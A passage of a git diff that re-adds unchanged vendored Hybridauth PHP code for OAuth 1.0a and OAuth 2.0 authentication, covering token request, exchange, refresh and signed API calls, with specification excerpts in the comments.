oauth_token: ' . htmlentities($response) - ); - } - - $this->consumerToken = new OAuthConsumer( - $tokens['oauth_token'], - $tokens['oauth_token_secret'] - ); - - $this->storeData('request_token', $tokens['oauth_token']); - $this->storeData('request_token_secret', $tokens['oauth_token_secret']); - - return $collection; - } - - /** - * Requests an Access Token - * - * OAuth Core: The Request Token and Token Secret MUST be exchanged for an Access Token and Token Secret. - * - * http://oauth.net/core/1.0a/#auth_step3 - * 6.3.1. Consumer Requests an Access Token - * - * @param string $oauth_token - * @param string $oauth_verifier - * - * @return string Raw Provider API response - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - */ - protected function exchangeAuthTokenForAccessToken($oauth_token, $oauth_verifier = '') - { - $this->tokenExchangeParameters['oauth_token'] = $oauth_token; - - /** - * OAuth Core 1.0 Revision A: oauth_verifier: The verification code received from the Service Provider - * in the "Service Provider Directs the User Back to the Consumer" step. - * - * http://oauth.net/core/1.0a/#auth_step3 - */ - if ('1.0a' == $this->oauth1Version) { - $this->tokenExchangeParameters['oauth_verifier'] = $oauth_verifier; - } - - $response = $this->oauthRequest( - $this->accessTokenUrl, - $this->tokenExchangeMethod, - $this->tokenExchangeParameters, - $this->tokenExchangeHeaders - ); - - return $response; - } - - /** - * Validate Access Token Response - * - * OAuth Core: If successful, the Service Provider generates an Access Token and Token Secret and returns - * them in the HTTP response body. - * - * The Access Token and Token Secret are stored by the Consumer and used when signing Protected Resources requests. - * - * http://oauth.net/core/1.0a/#auth_step3 - * 6.3.2. Service Provider Grants an Access Token - * - * @param string $response - * - * @return \Hybridauth\Data\Collection - * @throws InvalidAccessTokenException - */ - protected function validateAccessTokenExchange($response) - { - /** - * The response contains the following parameters: - * - * - oauth_token The Access Token. - * - oauth_token_secret The Token Secret. - * - * http://oauth.net/core/1.0/#auth_step3 - * 6.3.2. Service Provider Grants an Access Token - * - * Example of a successful response: - * - * HTTP/1.1 200 OK - * Content-Type: text/html; charset=utf-8 - * Cache-Control: no-store - * Pragma: no-cache - * - * oauth_token=sHeLU7Far428zj8PzlWR75&oauth_token_secret=fXb30rzoG&oauth_callback_confirmed=true - * - * OAuthUtil::parse_parameters will attempt to decode the raw response into an array. - */ - $tokens = OAuthUtil::parse_parameters($response); - - $collection = new Data\Collection($tokens); - - if (!$collection->exists('oauth_token')) { - throw new InvalidAccessTokenException( - 'Provider returned no access_token: ' . htmlentities($response) - ); - } - - $this->consumerToken = new OAuthConsumer( - $collection->get('oauth_token'), - $collection->get('oauth_token_secret') - ); - - $this->storeData('access_token', $collection->get('oauth_token')); - $this->storeData('access_token_secret', $collection->get('oauth_token_secret')); - - $this->deleteStoredData('request_token'); - $this->deleteStoredData('request_token_secret'); - - return $collection; - } - - /** - * Send a signed request to provider API - * - * Note: Since the specifics of error responses is beyond the scope of RFC6749 and OAuth specifications, - * Hybridauth will consider any HTTP status code that is different than '200 OK' as an ERROR. - * - * @param string $url - * @param string $method - * @param array $parameters - * @param array $headers - * @param bool $multipart - * - * @return mixed - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - */ - public function apiRequest($url, $method = 'GET', $parameters = [], $headers = [], $multipart = false) - { - // refresh tokens if needed - $this->maintainToken(); - - if (strrpos($url, 'http://') !== 0 && strrpos($url, 'https://') !== 0) { - $url = rtrim($this->apiBaseUrl, '/') . '/' . ltrim($url, '/'); - } - - $parameters = array_replace($this->apiRequestParameters, (array)$parameters); - - $headers = array_replace($this->apiRequestHeaders, (array)$headers); - - $response = $this->oauthRequest($url, $method, $parameters, $headers, $multipart); - - $response = (new Data\Parser())->parse($response); - - return $response; - } - - /** - * Setup and Send a Signed Oauth Request - * - * This method uses OAuth Library. - * - * @param string $uri - * @param string $method - * @param array $parameters - * @param array $headers - * @param bool $multipart - * - * @return string Raw Provider API response - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - */ - protected function oauthRequest($uri, $method = 'GET', $parameters = [], $headers = [], $multipart = false) - { - $signing_parameters = $parameters; - if ($multipart) { - $signing_parameters = []; - } - - $request = OAuthRequest::from_consumer_and_token( - $this->OAuthConsumer, - $this->consumerToken, - $method, - $uri, - $signing_parameters - ); - - $request->sign_request( - $this->sha1Method, - $this->OAuthConsumer, - $this->consumerToken - ); - - $uri = $request->get_normalized_http_url(); - $headers = array_replace($request->to_header(), (array)$headers); - - $response = $this->httpClient->request( - $uri, - $method, - $parameters, - $headers, - $multipart - ); - - $this->validateApiResponse('Signed API request to ' . $uri . ' has returned an error'); - - return $response; - } -} +consumerKey = $this->config->filter('keys')->get('id') ?: $this->config->filter('keys')->get('key'); + $this->consumerSecret = $this->config->filter('keys')->get('secret'); + + if (!$this->consumerKey || !$this->consumerSecret) { + throw new InvalidApplicationCredentialsException( + 'Your application id is required in order to connect to ' . $this->providerId + ); + } + + if ($this->config->exists('tokens')) { + $this->setAccessToken($this->config->get('tokens')); + } + + $this->setCallback($this->config->get('callback')); + $this->setApiEndpoints($this->config->get('endpoints')); + } + + /** + * {@inheritdoc} + */ + protected function initialize() + { + /** + * Set up OAuth Signature and Consumer + * + * OAuth Core: All Token requests and Protected Resources requests MUST be signed + * by the Consumer and verified by the Service Provider. + * + * The protocol defines three signature methods: HMAC-SHA1, RSA-SHA1, and PLAINTEXT.. + * + * The Consumer declares a signature method in the oauth_signature_method parameter.. + * + * http://oauth.net/core/1.0a/#signing_process + */ + $this->sha1Method = new OAuthSignatureMethodHMACSHA1(); + + $this->OAuthConsumer = new OAuthConsumer( + $this->consumerKey, + $this->consumerSecret + ); + + if ($this->getStoredData('request_token')) { + $this->consumerToken = new OAuthConsumer( + $this->getStoredData('request_token'), + $this->getStoredData('request_token_secret') + ); + } + + if ($this->getStoredData('access_token')) { + $this->consumerToken = new OAuthConsumer( + $this->getStoredData('access_token'), + $this->getStoredData('access_token_secret') + ); + } + } + + /** + * {@inheritdoc} + */ + public function authenticate() + { + $this->logger->info(sprintf('%s::authenticate()', get_class($this))); + + if ($this->isConnected()) { + return true; + } + + try { + if (!$this->getStoredData('request_token')) { + // Start a new flow. + $this->authenticateBegin(); + } elseif (empty($_GET['oauth_token']) && empty($_GET['denied'])) { + // A previous authentication was not finished, and this request is not finishing it. + $this->authenticateBegin(); + } else { + // Finish a flow. + $this->authenticateFinish(); + } + } catch (Exception $exception) { + $this->clearStoredData(); + + throw $exception; + } + + return null; + } + + /** + * {@inheritdoc} + */ + public function isConnected() + { + return (bool)$this->getStoredData('access_token'); + } + + /** + * Initiate the authorization protocol + * + * 1. Obtaining an Unauthorized Request Token + * 2. Build Authorization URL for Authorization Request and redirect the user-agent to the + * Authorization Server. + */ + protected function authenticateBegin() + { + $response = $this->requestAuthToken(); + + $this->validateAuthTokenRequest($response); + + $authUrl = $this->getAuthorizeUrl(); + + $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this)), [$authUrl]); + + HttpClient\Util::redirect($authUrl); + } + + /** + * Finalize the authorization process + * + * @throws AuthorizationDeniedException + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws InvalidAccessTokenException + * @throws InvalidOauthTokenException + */ + protected function authenticateFinish() + { + $this->logger->debug( + sprintf('%s::authenticateFinish(), callback url:', get_class($this)), + [HttpClient\Util::getCurrentUrl(true)] + ); + + $denied = filter_input(INPUT_GET, 'denied'); + $oauth_problem = filter_input(INPUT_GET, 'oauth_problem'); + $oauth_token = filter_input(INPUT_GET, 'oauth_token'); + $oauth_verifier = filter_input(INPUT_GET, 'oauth_verifier'); + + if ($denied) { + throw new AuthorizationDeniedException( + 'User denied access request. Provider returned a denied token: ' . htmlentities($denied) + ); + } + + if ($oauth_problem) { + throw new InvalidOauthTokenException( + 'Provider returned an error. oauth_problem: ' . htmlentities($oauth_problem) + ); + } + + if (!$oauth_token) { + throw new InvalidOauthTokenException( + 'Expecting a non-null oauth_token to continue the authorization flow.' + ); + } + + $response = $this->exchangeAuthTokenForAccessToken($oauth_token, $oauth_verifier); + + $this->validateAccessTokenExchange($response); + + $this->initialize(); + } + + /** + * Build Authorization URL for Authorization Request + * + * @param array $parameters + * + * @return string + */ + protected function getAuthorizeUrl($parameters = []) + { + $this->AuthorizeUrlParameters = !empty($parameters) + ? $parameters + : array_replace( + (array)$this->AuthorizeUrlParameters, + (array)$this->config->get('authorize_url_parameters') + ); + + $this->AuthorizeUrlParameters['oauth_token'] = $this->getStoredData('request_token'); + + return $this->authorizeUrl . '?' . http_build_query($this->AuthorizeUrlParameters, '', '&'); + } + + /** + * Unauthorized Request Token + * + * OAuth Core: The Consumer obtains an unauthorized Request Token by asking the Service Provider + * to issue a Token. The Request Token's sole purpose is to receive User approval and can only + * be used to obtain an Access Token. + * + * http://oauth.net/core/1.0/#auth_step1 + * 6.1.1. Consumer Obtains a Request Token + * + * @return string Raw Provider API response + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + */ + protected function requestAuthToken() + { + /** + * OAuth Core 1.0 Revision A: oauth_callback: An absolute URL to which the Service Provider will redirect + * the User back when the Obtaining User Authorization step is completed. + * + * http://oauth.net/core/1.0a/#auth_step1 + */ + if ('1.0a' == $this->oauth1Version) { + $this->requestTokenParameters['oauth_callback'] = $this->callback; + } + + $response = $this->oauthRequest( + $this->requestTokenUrl, + $this->requestTokenMethod, + $this->requestTokenParameters, + $this->requestTokenHeaders + ); + + return $response; + } + + /** + * Validate Unauthorized Request Token Response + * + * OAuth Core: The Service Provider verifies the signature and Consumer Key. If successful, + * it generates a Request Token and Token Secret and returns them to the Consumer in the HTTP + * response body. + * + * http://oauth.net/core/1.0/#auth_step1 + * 6.1.2. Service Provider Issues an Unauthorized Request Token + * + * @param string $response + * + * @return \Hybridauth\Data\Collection + * @throws InvalidOauthTokenException + */ + protected function validateAuthTokenRequest($response) + { + /** + * The response contains the following parameters: + * + * - oauth_token The Request Token. + * - oauth_token_secret The Token Secret. + * - oauth_callback_confirmed MUST be present and set to true. + * + * http://oauth.net/core/1.0/#auth_step1 + * 6.1.2. Service Provider Issues an Unauthorized Request Token + * + * Example of a successful response: + * + * HTTP/1.1 200 OK + * Content-Type: text/html; charset=utf-8 + * Cache-Control: no-store + * Pragma: no-cache + * + * oauth_token=80359084-clg1DEtxQF3wstTcyUdHF3wsdHM&oauth_token_secret=OIF07hPmJB:P + * 6qiHTi1znz6qiH3tTcyUdHnz6qiH3tTcyUdH3xW3wsDvV08e&example_parameter=example_value + * + * OAuthUtil::parse_parameters will attempt to decode the raw response into an array. + */ + $tokens = OAuthUtil::parse_parameters($response); + + $collection = new Data\Collection($tokens); + + if (!$collection->exists('oauth_token')) { + throw new InvalidOauthTokenException( + 'Provider returned no oauth_token: ' . htmlentities($response) + ); + } + + $this->consumerToken = new OAuthConsumer( + $tokens['oauth_token'], + $tokens['oauth_token_secret'] + ); + + $this->storeData('request_token', $tokens['oauth_token']); + $this->storeData('request_token_secret', $tokens['oauth_token_secret']); + + return $collection; + } + + /** + * Requests an Access Token + * + * OAuth Core: The Request Token and Token Secret MUST be exchanged for an Access Token and Token Secret. + * + * http://oauth.net/core/1.0a/#auth_step3 + * 6.3.1. Consumer Requests an Access Token + * + * @param string $oauth_token + * @param string $oauth_verifier + * + * @return string Raw Provider API response + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + */ + protected function exchangeAuthTokenForAccessToken($oauth_token, $oauth_verifier = '') + { + $this->tokenExchangeParameters['oauth_token'] = $oauth_token; + + /** + * OAuth Core 1.0 Revision A: oauth_verifier: The verification code received from the Service Provider + * in the "Service Provider Directs the User Back to the Consumer" step. + * + * http://oauth.net/core/1.0a/#auth_step3 + */ + if ('1.0a' == $this->oauth1Version) { + $this->tokenExchangeParameters['oauth_verifier'] = $oauth_verifier; + } + + $response = $this->oauthRequest( + $this->accessTokenUrl, + $this->tokenExchangeMethod, + $this->tokenExchangeParameters, + $this->tokenExchangeHeaders + ); + + return $response; + } + + /** + * Validate Access Token Response + * + * OAuth Core: If successful, the Service Provider generates an Access Token and Token Secret and returns + * them in the HTTP response body. + * + * The Access Token and Token Secret are stored by the Consumer and used when signing Protected Resources requests. + * + * http://oauth.net/core/1.0a/#auth_step3 + * 6.3.2. Service Provider Grants an Access Token + * + * @param string $response + * + * @return \Hybridauth\Data\Collection + * @throws InvalidAccessTokenException + */ + protected function validateAccessTokenExchange($response) + { + /** + * The response contains the following parameters: + * + * - oauth_token The Access Token. + * - oauth_token_secret The Token Secret. + * + * http://oauth.net/core/1.0/#auth_step3 + * 6.3.2. Service Provider Grants an Access Token + * + * Example of a successful response: + * + * HTTP/1.1 200 OK + * Content-Type: text/html; charset=utf-8 + * Cache-Control: no-store + * Pragma: no-cache + * + * oauth_token=sHeLU7Far428zj8PzlWR75&oauth_token_secret=fXb30rzoG&oauth_callback_confirmed=true + * + * OAuthUtil::parse_parameters will attempt to decode the raw response into an array. + */ + $tokens = OAuthUtil::parse_parameters($response); + + $collection = new Data\Collection($tokens); + + if (!$collection->exists('oauth_token')) { + throw new InvalidAccessTokenException( + 'Provider returned no access_token: ' . htmlentities($response) + ); + } + + $this->consumerToken = new OAuthConsumer( + $collection->get('oauth_token'), + $collection->get('oauth_token_secret') + ); + + $this->storeData('access_token', $collection->get('oauth_token')); + $this->storeData('access_token_secret', $collection->get('oauth_token_secret')); + + $this->deleteStoredData('request_token'); + $this->deleteStoredData('request_token_secret'); + + return $collection; + } + + /** + * Send a signed request to provider API + * + * Note: Since the specifics of error responses is beyond the scope of RFC6749 and OAuth specifications, + * Hybridauth will consider any HTTP status code that is different than '200 OK' as an ERROR. + * + * @param string $url + * @param string $method + * @param array $parameters + * @param array $headers + * @param bool $multipart + * + * @return mixed + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + */ + public function apiRequest($url, $method = 'GET', $parameters = [], $headers = [], $multipart = false) + { + // refresh tokens if needed + $this->maintainToken(); + + if (strrpos($url, 'http://') !== 0 && strrpos($url, 'https://') !== 0) { + $url = rtrim($this->apiBaseUrl, '/') . '/' . ltrim($url, '/'); + } + + $parameters = array_replace($this->apiRequestParameters, (array)$parameters); + + $headers = array_replace($this->apiRequestHeaders, (array)$headers); + + $response = $this->oauthRequest($url, $method, $parameters, $headers, $multipart); + + $response = (new Data\Parser())->parse($response); + + return $response; + } + + /** + * Setup and Send a Signed Oauth Request + * + * This method uses OAuth Library. + * + * @param string $uri + * @param string $method + * @param array $parameters + * @param array $headers + * @param bool $multipart + * + * @return string Raw Provider API response + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + */ + protected function oauthRequest($uri, $method = 'GET', $parameters = [], $headers = [], $multipart = false) + { + $signing_parameters = $parameters; + if ($multipart) { + $signing_parameters = []; + } + + $request = OAuthRequest::from_consumer_and_token( + $this->OAuthConsumer, + $this->consumerToken, + $method, + $uri, + $signing_parameters + ); + + $request->sign_request( + $this->sha1Method, + $this->OAuthConsumer, + $this->consumerToken + ); + + $uri = $request->get_normalized_http_url(); + $headers = array_replace($request->to_header(), (array)$headers); + + $response = $this->httpClient->request( + $uri, + $method, + $parameters, + $headers, + $multipart + ); + + $this->validateApiResponse('Signed API request to ' . $uri . ' has returned an error'); + + return $response; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Adapter/OAuth2.php b/vendor/hybridauth/hybridauth/src/Adapter/OAuth2.php index eded9f68e5..06d495d921 100644 --- a/vendor/hybridauth/hybridauth/src/Adapter/OAuth2.php +++ b/vendor/hybridauth/hybridauth/src/Adapter/OAuth2.php @@ -1,739 +1,739 @@ -clientId = $this->config->filter('keys')->get('id') ?: $this->config->filter('keys')->get('key'); - $this->clientSecret = $this->config->filter('keys')->get('secret'); - - if (!$this->clientId || !$this->clientSecret) { - throw new InvalidApplicationCredentialsException( - 'Your application id is required in order to connect to ' . $this->providerId - ); - } - - $this->scope = $this->config->exists('scope') ? $this->config->get('scope') : $this->scope; - - if ($this->config->exists('tokens')) { - $this->setAccessToken($this->config->get('tokens')); - } - - $this->setCallback($this->config->get('callback')); - $this->setApiEndpoints($this->config->get('endpoints')); - } - - /** - * {@inheritdoc} - */ - protected function initialize() - { - $this->AuthorizeUrlParameters = [ - 'response_type' => 'code', - 'client_id' => $this->clientId, - 'redirect_uri' => $this->callback, - 'scope' => $this->scope, - ]; - - $this->tokenExchangeParameters = [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret, - 'grant_type' => 'authorization_code', - 'redirect_uri' => $this->callback - ]; - - $refreshToken = $this->getStoredData('refresh_token'); - if (!empty($refreshToken)) { - $this->tokenRefreshParameters = [ - 'grant_type' => 'refresh_token', - 'refresh_token' => $refreshToken, - ]; - } - - $this->apiRequestHeaders = [ - 'Authorization' => 'Bearer ' . $this->getStoredData('access_token') - ]; - } - - /** - * {@inheritdoc} - */ - public function authenticate() - { - $this->logger->info(sprintf('%s::authenticate()', get_class($this))); - - if ($this->isConnected()) { - return true; - } - - try { - $this->authenticateCheckError(); - - $code = filter_input($_SERVER['REQUEST_METHOD'] === 'POST' ? INPUT_POST : INPUT_GET, 'code'); - - if (empty($code)) { - $this->authenticateBegin(); - } else { - $this->authenticateFinish(); - } - } catch (Exception $e) { - $this->clearStoredData(); - - throw $e; - } - - return null; - } - - /** - * {@inheritdoc} - */ - public function isConnected() - { - if ((bool)$this->getStoredData('access_token')) { - return (!$this->hasAccessTokenExpired() || $this->isRefreshTokenAvailable()); - } - return false; - } - - /** - * If we can use a refresh token, then an expired token does not stop us being connected. - * - * @return bool - */ - public function isRefreshTokenAvailable() - { - return is_array($this->tokenRefreshParameters); - } - - /** - * Authorization Request Error Response - * - * RFC6749: If the request fails due to a missing, invalid, or mismatching - * redirection URI, or if the client identifier is missing or invalid, - * the authorization server SHOULD inform the resource owner of the error. - * - * http://tools.ietf.org/html/rfc6749#section-4.1.2.1 - * - * @throws \Hybridauth\Exception\InvalidAuthorizationCodeException - * @throws \Hybridauth\Exception\AuthorizationDeniedException - */ - protected function authenticateCheckError() - { - $error = filter_input(INPUT_GET, 'error', FILTER_SANITIZE_SPECIAL_CHARS); - - if (!empty($error)) { - $error_description = filter_input(INPUT_GET, 'error_description', FILTER_SANITIZE_SPECIAL_CHARS); - $error_uri = filter_input(INPUT_GET, 'error_uri', FILTER_SANITIZE_SPECIAL_CHARS); - - $collated_error = sprintf('Provider returned an error: %s %s %s', $error, $error_description, $error_uri); - - if ($error == 'access_denied') { - throw new AuthorizationDeniedException($collated_error); - } - - throw new InvalidAuthorizationCodeException($collated_error); - } - } - - /** - * Initiate the authorization protocol - * - * Build Authorization URL for Authorization Request and redirect the user-agent to the - * Authorization Server. - */ - protected function authenticateBegin() - { - $authUrl = $this->getAuthorizeUrl(); - - $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this)), [$authUrl]); - - HttpClient\Util::redirect($authUrl); - } - - /** - * Finalize the authorization process - * - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws InvalidAccessTokenException - * @throws InvalidAuthorizationStateException - */ - protected function authenticateFinish() - { - $this->logger->debug( - sprintf('%s::authenticateFinish(), callback url:', get_class($this)), - [HttpClient\Util::getCurrentUrl(true)] - ); - - $state = filter_input($_SERVER['REQUEST_METHOD'] === 'POST' ? INPUT_POST : INPUT_GET, 'state'); - $code = filter_input($_SERVER['REQUEST_METHOD'] === 'POST' ? INPUT_POST : INPUT_GET, 'code'); - - /** - * Authorization Request State - * - * RFC6749: state : RECOMMENDED. An opaque value used by the client to maintain - * state between the request and callback. The authorization server includes - * this value when redirecting the user-agent back to the client. - * - * http://tools.ietf.org/html/rfc6749#section-4.1.1 - */ - if ($this->supportRequestState - && $this->getStoredData('authorization_state') != $state - ) { - throw new InvalidAuthorizationStateException( - 'The authorization state [state=' . substr(htmlentities($state), 0, 100) . '] ' - . 'of this page is either invalid or has already been consumed.' - ); - } - - /** - * Authorization Request Code - * - * RFC6749: If the resource owner grants the access request, the authorization - * server issues an authorization code and delivers it to the client: - * - * http://tools.ietf.org/html/rfc6749#section-4.1.2 - */ - $response = $this->exchangeCodeForAccessToken($code); - - $this->validateAccessTokenExchange($response); - - $this->initialize(); - } - - /** - * Build Authorization URL for Authorization Request - * - * RFC6749: The client constructs the request URI by adding the following - * $parameters to the query component of the authorization endpoint URI: - * - * - response_type REQUIRED. Value MUST be set to "code". - * - client_id REQUIRED. - * - redirect_uri OPTIONAL. - * - scope OPTIONAL. - * - state RECOMMENDED. - * - * http://tools.ietf.org/html/rfc6749#section-4.1.1 - * - * Sub classes may redefine this method when necessary. - * - * @param array $parameters - * - * @return string Authorization URL - */ - protected function getAuthorizeUrl($parameters = []) - { - $this->AuthorizeUrlParameters = !empty($parameters) - ? $parameters - : array_replace( - (array)$this->AuthorizeUrlParameters, - (array)$this->config->get('authorize_url_parameters') - ); - - if ($this->supportRequestState) { - if (!isset($this->AuthorizeUrlParameters['state'])) { - $this->AuthorizeUrlParameters['state'] = 'HA-' . str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'); - } - - $this->storeData('authorization_state', $this->AuthorizeUrlParameters['state']); - } - - $queryParams = http_build_query($this->AuthorizeUrlParameters, '', '&', $this->AuthorizeUrlParametersEncType); - return $this->authorizeUrl . '?' . $queryParams; - } - - /** - * Access Token Request - * - * This method will exchange the received $code in loginFinish() with an Access Token. - * - * RFC6749: The client makes a request to the token endpoint by sending the - * following parameters using the "application/x-www-form-urlencoded" - * with a character encoding of UTF-8 in the HTTP request entity-body: - * - * - grant_type REQUIRED. Value MUST be set to "authorization_code". - * - code REQUIRED. The authorization code received from the authorization server. - * - redirect_uri REQUIRED. - * - client_id REQUIRED. - * - * http://tools.ietf.org/html/rfc6749#section-4.1.3 - * - * @param string $code - * - * @return string Raw Provider API response - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - */ - protected function exchangeCodeForAccessToken($code) - { - $this->tokenExchangeParameters['code'] = $code; - - $response = $this->httpClient->request( - $this->accessTokenUrl, - $this->tokenExchangeMethod, - $this->tokenExchangeParameters, - $this->tokenExchangeHeaders - ); - - $this->validateApiResponse('Unable to exchange code for API access token'); - - return $response; - } - - /** - * Validate Access Token Response - * - * RFC6749: If the access token request is valid and authorized, the - * authorization server issues an access token and optional refresh token. - * If the request client authentication failed or is invalid, the authorization - * server returns an error response as described in Section 5.2. - * - * Example of a successful response: - * - * HTTP/1.1 200 OK - * Content-Type: application/json;charset=UTF-8 - * Cache-Control: no-store - * Pragma: no-cache - * - * { - * "access_token":"2YotnFZFEjr1zCsicMWpAA", - * "token_type":"example", - * "expires_in":3600, - * "refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA", - * "example_parameter":"example_value" - * } - * - * http://tools.ietf.org/html/rfc6749#section-4.1.4 - * - * This method uses Data_Parser to attempt to decodes the raw $response (usually JSON) - * into a data collection. - * - * @param string $response - * - * @return \Hybridauth\Data\Collection - * @throws InvalidAccessTokenException - */ - protected function validateAccessTokenExchange($response) - { - $data = (new Data\Parser())->parse($response); - - $collection = new Data\Collection($data); - - if (!$collection->exists('access_token')) { - throw new InvalidAccessTokenException( - 'Provider returned no access_token: ' . htmlentities($response) - ); - } - - $this->storeData('access_token', $collection->get('access_token')); - $this->storeData('token_type', $collection->get('token_type')); - - if ($collection->get('refresh_token')) { - $this->storeData('refresh_token', $collection->get('refresh_token')); - } - - // calculate when the access token expire - if ($collection->exists('expires_in')) { - $expires_at = time() + (int)$collection->get('expires_in'); - - $this->storeData('expires_in', $collection->get('expires_in')); - $this->storeData('expires_at', $expires_at); - } - - $this->deleteStoredData('authorization_state'); - - $this->initialize(); - - return $collection; - } - - /** - * Refreshing an Access Token - * - * RFC6749: If the authorization server issued a refresh token to the - * client, the client makes a refresh request to the token endpoint by - * adding the following parameters ... in the HTTP request entity-body: - * - * - grant_type REQUIRED. Value MUST be set to "refresh_token". - * - refresh_token REQUIRED. The refresh token issued to the client. - * - scope OPTIONAL. - * - * http://tools.ietf.org/html/rfc6749#section-6 - * - * This method is similar to exchangeCodeForAccessToken(). The only - * difference is here we exchange refresh_token for a new access_token. - * - * @param array $parameters - * - * @return string|null Raw Provider API response, or null if we cannot refresh - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws InvalidAccessTokenException - */ - public function refreshAccessToken($parameters = []) - { - $this->tokenRefreshParameters = !empty($parameters) - ? $parameters - : $this->tokenRefreshParameters; - - if (!$this->isRefreshTokenAvailable()) { - return null; - } - - $response = $this->httpClient->request( - $this->accessTokenUrl, - $this->tokenRefreshMethod, - $this->tokenRefreshParameters, - $this->tokenRefreshHeaders - ); - - $this->validateApiResponse('Unable to refresh the access token'); - - $this->validateRefreshAccessToken($response); - - return $response; - } - - /** - * Check whether access token has expired - * - * @param int|null $time - * @return bool|null - */ - public function hasAccessTokenExpired($time = null) - { - if ($time === null) { - $time = time(); - } - - $expires_at = $this->getStoredData('expires_at'); - if (!$expires_at) { - return null; - } - - return $expires_at <= $time; - } - - /** - * Validate Refresh Access Token Request - * - * RFC6749: If valid and authorized, the authorization server issues an - * access token as described in Section 5.1. If the request failed - * verification or is invalid, the authorization server returns an error - * response as described in Section 5.2. - * - * http://tools.ietf.org/html/rfc6749#section-6 - * http://tools.ietf.org/html/rfc6749#section-5.1 - * http://tools.ietf.org/html/rfc6749#section-5.2 - * - * This method simply use validateAccessTokenExchange(), however sub - * classes may redefine it when necessary. - * - * @param $response - * - * @return \Hybridauth\Data\Collection - * @throws InvalidAccessTokenException - */ - protected function validateRefreshAccessToken($response) - { - return $this->validateAccessTokenExchange($response); - } - - /** - * Send a signed request to provider API - * - * RFC6749: Accessing Protected Resources: The client accesses protected - * resources by presenting the access token to the resource server. The - * resource server MUST validate the access token and ensure that it has - * not expired and that its scope covers the requested resource. - * - * Note: Since the specifics of error responses is beyond the scope of - * RFC6749 and OAuth specifications, Hybridauth will consider any HTTP - * status code that is different than '200 OK' as an ERROR. - * - * http://tools.ietf.org/html/rfc6749#section-7 - * - * @param string $url - * @param string $method - * @param array $parameters - * @param array $headers - * @param bool $multipart - * - * @return mixed - * @throws \Hybridauth\Exception\HttpClientFailureException - * @throws \Hybridauth\Exception\HttpRequestFailedException - * @throws InvalidAccessTokenException - */ - public function apiRequest($url, $method = 'GET', $parameters = [], $headers = [], $multipart = false) - { - // refresh tokens if needed - $this->maintainToken(); - if ($this->hasAccessTokenExpired() === true) { - $this->refreshAccessToken(); - } - - if (strrpos($url, 'http://') !== 0 && strrpos($url, 'https://') !== 0) { - $url = rtrim($this->apiBaseUrl, '/') . '/' . ltrim($url, '/'); - } - - $parameters = array_replace($this->apiRequestParameters, (array)$parameters); - $headers = array_replace($this->apiRequestHeaders, (array)$headers); - - $response = $this->httpClient->request( - $url, - $method, // HTTP Request Method. Defaults to GET. - $parameters, // Request Parameters - $headers, // Request Headers - $multipart // Is request multipart - ); - - $this->validateApiResponse('Signed API request to ' . $url . ' has returned an error'); - - $response = (new Data\Parser())->parse($response); - - return $response; - } -} +clientId = $this->config->filter('keys')->get('id') ?: $this->config->filter('keys')->get('key'); + $this->clientSecret = $this->config->filter('keys')->get('secret'); + + if (!$this->clientId || !$this->clientSecret) { + throw new InvalidApplicationCredentialsException( + 'Your application id is required in order to connect to ' . $this->providerId + ); + } + + $this->scope = $this->config->exists('scope') ? $this->config->get('scope') : $this->scope; + + if ($this->config->exists('tokens')) { + $this->setAccessToken($this->config->get('tokens')); + } + + $this->setCallback($this->config->get('callback')); + $this->setApiEndpoints($this->config->get('endpoints')); + } + + /** + * {@inheritdoc} + */ + protected function initialize() + { + $this->AuthorizeUrlParameters = [ + 'response_type' => 'code', + 'client_id' => $this->clientId, + 'redirect_uri' => $this->callback, + 'scope' => $this->scope, + ]; + + $this->tokenExchangeParameters = [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret, + 'grant_type' => 'authorization_code', + 'redirect_uri' => $this->callback + ]; + + $refreshToken = $this->getStoredData('refresh_token'); + if (!empty($refreshToken)) { + $this->tokenRefreshParameters = [ + 'grant_type' => 'refresh_token', + 'refresh_token' => $refreshToken, + ]; + } + + $this->apiRequestHeaders = [ + 'Authorization' => 'Bearer ' . $this->getStoredData('access_token') + ]; + } + + /** + * {@inheritdoc} + */ + public function authenticate() + { + $this->logger->info(sprintf('%s::authenticate()', get_class($this))); + + if ($this->isConnected()) { + return true; + } + + try { + $this->authenticateCheckError(); + + $code = filter_input($_SERVER['REQUEST_METHOD'] === 'POST' ? INPUT_POST : INPUT_GET, 'code'); + + if (empty($code)) { + $this->authenticateBegin(); + } else { + $this->authenticateFinish(); + } + } catch (Exception $e) { + $this->clearStoredData(); + + throw $e; + } + + return null; + } + + /** + * {@inheritdoc} + */ + public function isConnected() + { + if ((bool)$this->getStoredData('access_token')) { + return (!$this->hasAccessTokenExpired() || $this->isRefreshTokenAvailable()); + } + return false; + } + + /** + * If we can use a refresh token, then an expired token does not stop us being connected. + * + * @return bool + */ + public function isRefreshTokenAvailable() + { + return is_array($this->tokenRefreshParameters); + } + + /** + * Authorization Request Error Response + * + * RFC6749: If the request fails due to a missing, invalid, or mismatching + * redirection URI, or if the client identifier is missing or invalid, + * the authorization server SHOULD inform the resource owner of the error. + * + * http://tools.ietf.org/html/rfc6749#section-4.1.2.1 + * + * @throws \Hybridauth\Exception\InvalidAuthorizationCodeException + * @throws 